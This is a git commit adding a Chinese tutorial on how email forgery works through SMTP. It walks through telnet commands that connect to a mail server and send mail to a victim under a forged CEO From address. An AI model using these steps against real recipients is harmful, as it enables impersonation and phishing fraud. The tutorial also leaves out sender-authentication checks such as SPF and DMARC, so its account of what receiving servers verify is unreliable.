Add files via upload
This commit is contained in:
@@ -0,0 +1,80 @@
|
||||
### 伪造电子邮件的原理
|
||||
|
||||
**1. SMTP 协议的漏洞**
|
||||
|
||||
SMTP 协议在设计之初,主要关注邮件的投递,而不是发件人的身份验证。它的工作方式非常简单:
|
||||
|
||||
1. **`HELO/EHLO`**:发送方(邮件客户端或服务器)向接收方(邮件服务器)发出问候,告知自己的域名
|
||||
2. **`MAIL FROM`**:发送方指定**邮件的“信封发件人”**,也就是邮件的实际投递地址
|
||||
3. **`RCPT TO`**:发送方指定收件人地址
|
||||
4. **`DATA`**:发送方发送邮件内容,包括邮件的**“信头”**(`From`、`To`、`Subject` 等)和邮件正文
|
||||
|
||||
**漏洞所在**:在 SMTP 协议中,`MAIL FROM` 和信头中的 `From` 地址是**两个独立的字段**,且 **SMTP 服务器不会对这两者进行交叉验证**
|
||||
|
||||
- `MAIL FROM`:用于邮件投递,类似于信封上的回邮地址
|
||||
- `From`:用于显示给用户看,类似于信纸上的发件人
|
||||
|
||||
攻击者可以轻松地在 `MAIL FROM` 中使用自己的地址,而在 `From` 字段中填写任何伪造的地址,例如 `ceo@yourcompany.com`。接收方邮件服务器只会检查 `MAIL FROM` 的合法性,而收件人看到的则是被伪造的 `From` 地址
|
||||
|
||||
**2. 伪造电子邮件的步骤**
|
||||
|
||||
**第一步:搭建邮件发送环境**
|
||||
|
||||
攻击者可以使用自己的服务器或第三方服务来发送邮件。最简单的方式是使用一个 Linux 服务器,通过 **Telnet** 或 **Netcat** 直接连接到目标邮件服务器的 **25** 端口,模拟 SMTP 协议的发送过程
|
||||
|
||||
**第二步:执行伪造命令**
|
||||
|
||||
攻击者在命令行中,按照 SMTP 协议的规范,输入以下命令:
|
||||
|
||||
1. **连接邮件服务器**:
|
||||
|
||||
```bash
|
||||
telnet mailserver.targetdomain.com 25
|
||||
```
|
||||
|
||||
2. **问候**:
|
||||
|
||||
```
|
||||
HELO attacker.com
|
||||
```
|
||||
|
||||
3. **指定“信封发件人”**:
|
||||
|
||||
```
|
||||
MAIL FROM:<me@attacker.com>
|
||||
```
|
||||
|
||||
这个地址通常是攻击者自己的,它只用于投递过程
|
||||
|
||||
4. **指定收件人**:
|
||||
|
||||
```
|
||||
RCPT TO:<victim@targetdomain.com>
|
||||
```
|
||||
|
||||
5. **发送邮件内容**:
|
||||
|
||||
```
|
||||
DATA
|
||||
```
|
||||
|
||||
服务器会回复一个 `354` 码,表示可以开始输入邮件内容
|
||||
|
||||
6. **伪造“信头”**:
|
||||
|
||||
```
|
||||
From: "CEO" <ceo@yourcompany.com>
|
||||
To: <victim@targetdomain.com>
|
||||
Subject: Urgent Notice
|
||||
```
|
||||
|
||||
这里,`From` 字段被伪造成了 CEO 的地址,而收件人看到的就是这个伪造的地址
|
||||
|
||||
7. **发送正文**:
|
||||
|
||||
```
|
||||
<邮件正文内容>
|
||||
.
|
||||
```
|
||||
|
||||
输入一个单独的 `.`,然后回车,表示邮件结束。服务器会回复 `250` 码,表示邮件已发送成功
|
||||
Reference in New Issue
Block a user